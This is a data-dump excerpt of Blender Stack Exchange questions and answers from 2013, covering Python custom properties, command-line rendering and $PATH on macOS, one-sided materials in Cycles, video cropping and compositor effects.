  <row Id="2077" PostTypeId="2" ParentId="2075" CreationDate="2013-07-31T22:41:16.937" Score="10" Body="&lt;p&gt;You can't. See the wiki page: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Properties&quot;&gt;Properties, ID-Properties and their differences&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;+--------------------------------------------------------------------------------------+&#xA;|           |             Property             |        Property        | ID-Property  |&#xA;|           |             (static)             |       (dynamic)        |              |&#xA;|-----------+----------------------------------+------------------------+--------------|&#xA;| Creation  |      bpy.types.Object.foo =      | bpy.types.Object.foo = | ob[&quot;foo&quot;] =  |&#xA;|           |    bpy.props.StringProperty()    |     property(bar)      |    &quot;bar&quot;     |&#xA;|-----------+----------------------------------+------------------------+--------------|&#xA;| Declared  |   all datablocks of same type    | all datablocks of same |    single    |&#xA;|    for    |                                  |          type          |  datablock   |&#xA;|-----------+----------------------------------+------------------------+--------------|&#xA;| Assigning |          ob.foo = &quot;bar&quot;          |     ob.foo = &quot;bar&quot;     | ob[&quot;foo&quot;] =  |&#xA;|  values   |                                  |                        |    &quot;bar&quot;     |&#xA;|-----------+----------------------------------+------------------------+--------------|&#xA;|           |                                  |                        |   Floats,    |&#xA;| Accepted  |           Any property           |       Functions        |  integers,   |&#xA;|  values   |                                  |                        |   lists*,    |&#xA;|           |                                  |                        |   strings    |&#xA;|-----------+----------------------------------+------------------------+--------------|&#xA;| Stored in |              Yes**               |           No           |     Yes      |&#xA;|  .blend   |                                  |                        |              |&#xA;+--------------------------------------------------------------------------------------+&#xA;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;* List may only contain floats and integers.&lt;br/&gt;&#xA;  ** Datablocks that have a value assigned to the property, save that value as an ID-property.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could instead store a &lt;a href=&quot;http://docs.python.org/dev/library/pickle.html&quot;&gt;pickled&lt;/a&gt; list of material names, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pickle&#xA;import bpy&#xA;&#xA;def fget(self):&#xA;    try:&#xA;        for name in pickle.loads(self[&quot;_interaction_materials&quot;]):&#xA;            yield bpy.data.materials[name]&#xA;    except KeyError:&#xA;        raise StopIteration&#xA;&#xA;def fset(self, materials):&#xA;    self[&quot;_interaction_materials&quot;] = pickle.dumps([m.name for m in materials])&#xA;&#xA;bpy.types.Object.interaction_materials = property(fget, fset)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-31T22:41:16.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2078" PostTypeId="1" AcceptedAnswerId="2160" CreationDate="2013-08-01T04:26:26.603" Score="14" ViewCount="10145" Body="&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NB:&lt;/strong&gt;&lt;/em&gt; &lt;em&gt;This is a revised and updated version of &lt;a href=&quot;https://blender.stackexchange.com/revisions/2078/4&quot;&gt;my original question&lt;/a&gt;.&lt;/em&gt; You can also see the relevant discussion on &lt;a href=&quot;https://blender.meta.stackexchange.com/questions/231/why-exactly-was-my-question-closed-question-id-2078&quot;&gt;meta&lt;/a&gt; as to why it was closed and reopened.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;On June 29th I asked what I thought was a very simple, straight forward question: &lt;a href=&quot;https://blender.stackexchange.com/questions/1499/can-files-be-queued-for-animation&quot;&gt;Can files be queued for animation?&lt;/a&gt; The answer, basically, was yes, if you do as explained in the manual on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot; rel=&quot;noreferrer&quot;&gt;Render/Command Line&lt;/a&gt; page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rc0Sl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although it didn't explain that the word 'blender' in the syntax means the entire path to blender (or does it?), I worked it out (or did I?). Maybe that is considered to be common sense? (This could be an indication of where the problem lies!)&lt;/p&gt;&#xA;&lt;p&gt;Now, for those of you who asked:&#xA;There are two ways that I can start blender from the command line.&#xA;First open Terminal. It looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p6zYq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;1 - Type 'open' and space at the command line, then drag blender.app from /Applications/Blender/:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ta2PC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;to the Terminal window:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oFVN8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press return, and blender opens, then if you quit Terminal, blender quits too.&lt;/p&gt;&#xA;&lt;p&gt;2 - Type 'open' and space at the command line, then drag blender (Unix Executable File) from /Applications/Blender/blender.app/Contents/MacOS/:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iaHbR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;to the Terminal window:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C4z5f.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press return, and blender opens, and another Terminal window opens with:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/74gaN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;then if you quit Terminal, blender quits too.&lt;/p&gt;&#xA;&lt;p&gt;Now back to the issue. Since I first asked this question I have been told several times that I must set up the $PATH environment variable. I thought I had done that but now I'm not sure!&lt;/p&gt;&#xA;&lt;p&gt;I typed sudo nano /etc/paths at the command prompt:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n0bWJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then return, and got this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9CnI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then I added the path to blender:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Ivz3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;and saved it. Then to check it I typed in echo $PATH and the result shows the path has been added:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZAmn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have a feeling this path is not the correct one for $PATH.&#xA;This is the result of an attempt to do a background render:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fEq9I.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;'blender: command not found'.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Additional update:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried what Aldrik and zeffii suggested, to change the $PATH variable setting to /Applications/Blender/blender.app/Contents/MacOS, then attempted to do a background render only to have blender quit before doing anything:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2h8lg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, after some searching, I found this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yuID8.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;a href=&quot;http://david-martinez.tumblr.com/post/28083831730/environment-variables-and-mountain-lion&quot; rel=&quot;noreferrer&quot;&gt;http://david-martinez.tumblr.com/post/28083831730/environment-variables-and-mountain-lion&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dkyyj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;and got nothing!&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2020-07-02T04:03:11.780" Title="How to use blender command lines in OSX?" Tags="&lt;rendering&gt;&lt;command-line&gt;&lt;osx&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2079" PostTypeId="2" ParentId="2078" CreationDate="2013-08-01T06:13:55.937" Score="3" Body="&lt;p&gt;The error 'command not found' means that the command is not found in the $PATH environment variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you installed blender as described in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/Mac&quot; rel=&quot;nofollow&quot;&gt;Wiki Installing Blender on Mac&lt;/a&gt;. The executable &lt;code&gt;blender&lt;/code&gt; is located in /Applications/Blender/blender.app/Contents/MacOS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could simply open your terminal and enter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /Applications/Blender/blender.app/Contents/MacOS&#xA;./blender &#xA;&#xA;&#xA;&#xA;&#xA;ndof: 3Dx driver not found&#xA;found bundled python: /Applications/Blender/blender.app/Contents/MacOS/2.68/python&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to run blender from any other location you would need to follow the instructions from &lt;a href=&quot;https://www.blender.org/manual/getting_started/installing_blender/directorylayout.html&quot; rel=&quot;nofollow&quot;&gt;DirectoryLayout  Configuration &amp;amp; Data Paths&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;More Environment Variables&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;./blender --help&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Environment Variables:&#xA;  $BLENDER_USER_CONFIG      Directory for user configuration files.&#xA;  $BLENDER_USER_SCRIPTS     Directory for user scripts.&#xA;  $BLENDER_SYSTEM_SCRIPTS   Directory for system wide scripts.&#xA;  Directory for user data files (icons, translations, ..).&#xA;  $BLENDER_SYSTEM_DATAFILES Directory for system wide data files.&#xA;  $BLENDER_SYSTEM_PYTHON    Directory for system python libraries.&#xA;  $TMP or $TMPDIR           Store temporary files here.&#xA;  $SDL_AUDIODRIVER          LibSDL audio driver - alsa, esd, dma.&#xA;  $PYTHONHOME               Path to the python directory, eg. /usr/lib/python.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2015-06-06T15:40:23.140" LastActivityDate="2015-06-06T15:40:23.140" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2080" PostTypeId="2" ParentId="2040" CreationDate="2013-08-01T08:08:47.767" Score="4" Body="&lt;p&gt;Unfortunately we are limited by the amount of RAM our computers have. A 21600x21600 image (at 8 bits per pixel and with RGB channels) takes up around 1.3 GB of RAM. Combined with geometry and other programs, this may be more than your GPU can handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I understand it, the GPU, which has it's own set of RAM, is used to draw the blender interface and all the models - but the CPU is used to render the image (unless you specify to use GPU rendering) which uses your main system RAM. So it may be possible to setup the scene without actually trying to view the image in Blender, then render it (possibly from the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot; rel=&quot;nofollow noreferrer&quot;&gt;command line&lt;/a&gt;) to ensure the image never loads into the GPU RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this might not be enough.&#xA;A common method of zooming into something and seeing a high res texture in the animation is to use a bunch of layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G9w8c.jpg&quot; alt=&quot;3D view of layered planes&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5Nytu.jpg&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an exaggerated example of course, but the parts of the image you won't ever see in high-detail don't need to be high-res. Cutting up the final image and lowering its resolution for each layer, cropping the high-res ones to show only what you need, will save a lot of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To hide the seam better, use more layers with less of a change in resolution, or create an alpha mask to fade out each layer on the edges.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2014-10-30T11:11:35.893" LastActivityDate="2014-10-30T11:11:35.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2081" PostTypeId="2" ParentId="1997" CreationDate="2013-08-01T12:17:23.607" Score="2" Body="&lt;p&gt;Motion blur is reducing the information in the image. There is no way to add that information back. Say that you took a video of something blurry, that looks like motion blur but isn't. There is no way (for a mathematical operation) to know if that objects should be deblurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are approximations, but they are quite complex math operations and they always leave artifacts (due to missing information).&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-08-01T12:17:23.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2082" PostTypeId="1" AcceptedAnswerId="2083" CreationDate="2013-08-01T12:20:06.557" Score="37" ViewCount="28469" Body="&lt;p&gt;How could a one-sided material be achieved with the Cycles renderer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to create a plane that is completely transparent from one side, and a mirror from the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be cool if Cycles/Blender simple supported backface culling like the game engine. But I guess it doesn't?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could something like that done with nodes?&lt;/p&gt;&#xA;" OwnerUserId="1027" LastEditorUserId="3078" LastEditDate="2015-10-06T22:33:10.760" LastActivityDate="2020-10-27T23:32:40.960" Title="How can I make a material only apply to a side of a plane?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2083" PostTypeId="2" ParentId="2082" CreationDate="2013-08-01T13:19:06.513" Score="38" Body="&lt;p&gt;In cycles it's a simple matter of using the Backfacing output of the Geometry node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7SG60.png&quot; alt=&quot;Backfacing output in action&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Backfacing output gives us white (a value of 1.0) on the side that's facing away, and black (0.0) on the side that the normal is pointing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eFhOq.jpg&quot; alt=&quot;what the Backfacing output gives us&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is what you see if connecting the Backfacing output to an emission shader as a sort of viewer node)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So connecting this to the Fac of a Mix shader with Glossy (the mirror) and Transparent shaders will give the effect you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this in Blender Internal renderer exactly the same way only with slightly different nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for backface culling in the viewport, there's a check-box for that in the Display Panel of the Properties Shelf in the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RjuvV.jpg&quot; alt=&quot;Backface culling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which would of course make faces on the other side of the normal direction transparent by definition:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5izm7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-08-01T13:19:06.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2084" PostTypeId="2" ParentId="2082" CreationDate="2013-08-01T13:19:12.967" Score="6" Body="&lt;p&gt;Maybe there's an easier route than this node setup. This node tree mixes full transparent for that portion of the mesh that is backfacing, and the rest visible &lt;img src=&quot;https://i.stack.imgur.com/BB69x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2013-08-01T13:19:12.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2085" PostTypeId="2" ParentId="2082" CreationDate="2013-08-01T13:22:26.533" Score="14" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;This is done using the Backfacing output socket of the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/input/geometry.html#geometry-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Geometry&lt;/a&gt; node.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;Backfacing&lt;/em&gt;&lt;br/&gt;&#xA;1.0 if the face is being viewed from the backside, 0.0 for the frontside.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Use it as the factor of a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/mix.html#mix-shader&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mix Shader node&lt;/a&gt; and connect your shader along with a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/shader/transparent.html#transparent-bsdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparent BSDF&lt;/a&gt; shader node.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/awJVH.png&quot; alt=&quot;Example minimal cycles node setup&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;BI&lt;/h1&gt;&#xA;&lt;p&gt;Connect the &lt;a href=&quot;https://docs.blender.org/manual/en/2.79/render/blender_render/materials/nodes/types/input/geometry.html#geometry-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Front/Back output socket Geometry node&lt;/a&gt; directly to the Alpha of the Output node.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rsiKO.png&quot; alt=&quot;Example minimal BI node setup&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-10-27T23:32:40.960" LastActivityDate="2020-10-27T23:32:40.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2086" PostTypeId="2" ParentId="2050" CreationDate="2013-08-01T14:26:37.210" Score="10" Body="&lt;p&gt;You can consider using two files - flat video and alpha mask video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can use any modern codec, without being limited to exotic formats that support alpha in video. And you can have separate quality settings for video and alpha with this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve transparency in Adobe After Effects you will need to set the alpha video as the other's TrkMat parameter.&lt;/p&gt;&#xA;" OwnerUserId="1028" LastActivityDate="2013-08-01T14:26:37.210" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2087" PostTypeId="2" ParentId="2075" CreationDate="2013-08-01T15:00:40.067" Score="5" Body="&lt;p&gt;You can store materials' names, and then, when you need to use it - search for materials by name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this metod requires you to be strict about your file. You must not delete any materials by accident or change names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume you have a list of materials:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;materials = [bpy.data.materials[&quot;Marble&quot;], bpy.data.materials[&quot;Glass&quot;]]&#xA;# To get materials from object, use:&#xA;#bpy.context.object.material_slots[0].material&#xA;# or from the material list if you don't care about slots:&#xA;#bpy.context.object.data.materials[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can write them into a Custom Property, separated with colons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;materialNames = []&#xA;for mat in materials:&#xA;    materialNames.append(mat.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;materialNames&lt;/code&gt; are now &lt;code&gt;[&quot;Marble&quot;, &quot;Glass&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;materialString = &quot;,&quot;.join(materialNames)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;materialString&lt;/code&gt; is now &lt;code&gt;&quot;Marble,Glass&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can save it to object's property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object[&quot;materialString&quot;] = materialString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in other place, to get a real Blender material:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;materialNames = bpy.context.object[&quot;materialString&quot;].split( &quot;,&quot; )&#xA;realMaterials = []&#xA;for matName in materialNames:&#xA;    realMat = bpy.data.materials[matName]&#xA;    realMaterials.append(realMat)&#xA;&#xA;# check the results&#xA;# print(realMaterial[0].name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First entry in &lt;code&gt;realMaterials&lt;/code&gt; list now again points to &lt;code&gt;bpy.data.materials[&quot;Marble&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="1363" LastEditDate="2014-02-11T21:01:46.030" LastActivityDate="2014-02-11T21:01:46.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2088" PostTypeId="1" CreationDate="2013-08-01T17:08:11.373" Score="7" ViewCount="948" Body="&lt;p&gt;I am working in blender in the video editor and I want to make my &lt;code&gt;16:9&lt;/code&gt; film into &lt;code&gt;2.35:1&lt;/code&gt;. My film is &lt;code&gt;1920x1080&lt;/code&gt; so I type &lt;code&gt;1920x800&lt;/code&gt; in properties as a resolution but video doesn't became cut, it becomes stretched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to get my &lt;code&gt;1920x800&lt;/code&gt; resolution video without any stretching?&lt;/p&gt;&#xA;" OwnerUserId="1031" LastEditorUserId="12" LastEditDate="2013-08-01T17:21:05.703" LastActivityDate="2013-08-02T04:09:34.173" Title="How to create 2.35:1 movie with no stretching?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2089" PostTypeId="1" CreationDate="2013-08-01T17:20:36.043" Score="5" ViewCount="1180" Body="&lt;p&gt;What nodes should I add and what should I change in compositor to get a good &lt;a href=&quot;https://en.wikipedia.org/wiki/Bleach_bypass&quot; rel=&quot;nofollow noreferrer&quot;&gt;bleach bypass&lt;/a&gt; film effect?&lt;br&gt;&#xA;I would like to have a precise description of all nodes (for example, contrast-10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HVVqH.jpg&quot; alt=&quot;Example of the desired resault&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1031" LastEditorUserId="32220" LastEditDate="2019-01-01T16:12:11.927" LastActivityDate="2019-01-01T16:12:11.927" Title="Getting a Bleach Bypass Look in the Compositor" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2091" PostTypeId="2" ParentId="2088" CreationDate="2013-08-01T18:06:19.037" Score="8" Body="&lt;p&gt;To use a video strip's original resolution without any stretching, activate the strip's &lt;strong&gt;Image Offset&lt;/strong&gt;. Change the setting's &lt;code&gt;X&lt;/code&gt;  and &lt;code&gt;Y&lt;/code&gt; value to offset the video image's position in the overall image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uran.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-08-01T18:06:19.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2092" PostTypeId="2" ParentId="2088" CreationDate="2013-08-01T18:11:11.200" Score="3" Body="&lt;p&gt;You've set the output resolution correctly, but you also need to crop the footage. In the Properties self &lt;kbd&gt;N&lt;/kbd&gt;, in the &lt;a href=&quot;http://wiki.blender.org/index.php/Meta:Sanbox/Doc:2.6/Manual/Sequencer/Usage#Strip_Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;Strip Input&lt;/a&gt; panel, enable Image Crop and set the top and bottom to 140 (for a centre crop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baHzP.png&quot; alt=&quot;Strip Input panel with Image Crop enabled.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-01T18:11:11.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2093" PostTypeId="2" ParentId="2089" CreationDate="2013-08-01T19:06:35.457" Score="3" Body="&lt;p&gt;Here is a quick attempt to get a similar effect to the reference image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/68Ozm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/68Ozm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;full version&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JUTwj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-08-01T19:22:06.443" LastActivityDate="2013-08-01T19:22:06.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2094" PostTypeId="2" ParentId="2088" CreationDate="2013-08-02T02:42:26.973" Score="2" Body="&lt;p&gt;The same result can be achieved via the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run your images or video through a &lt;em&gt;Scale node&lt;/em&gt; set to &lt;em&gt;Render size&lt;/em&gt; and &lt;em&gt;Crop&lt;/em&gt;. Then use the Y value to best frame your footage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that if you are working on the video editor then Adhi's answer works just fine, this is just another method that could be handy in case you are doing some compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KlwxJ.jpg&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="599" LastEditDate="2013-08-02T04:09:34.173" LastActivityDate="2013-08-02T04:09:34.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2095" PostTypeId="1" AcceptedAnswerId="2098" CreationDate="2013-08-02T04:29:13.517" Score="3" ViewCount="1046" Body="&lt;p&gt;Some of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Portal_%28video_game%29&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Portal&lt;/em&gt;&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Portal_2&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Portal 2&lt;/em&gt;&lt;/a&gt; promotional videos have a 2D/3Dish world in an orthographic/isometric view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to set the camera to orthographic in Blender, but how would I go about creating the 2D-style characters? Also, which render engine should I use? Any tips on how to create something similar would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=0qcED35LL8I&quot; rel=&quot;nofollow&quot;&gt;Reference #1&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=w5I3VnCHWsU&quot; rel=&quot;nofollow&quot;&gt;Reference #2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2013-08-03T01:42:32.577" LastActivityDate="2013-08-03T01:42:32.577" Title="How can I create an orthographic render similar to the Portal 2 promotional videos?" Tags="&lt;rendering&gt;&lt;workflow&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
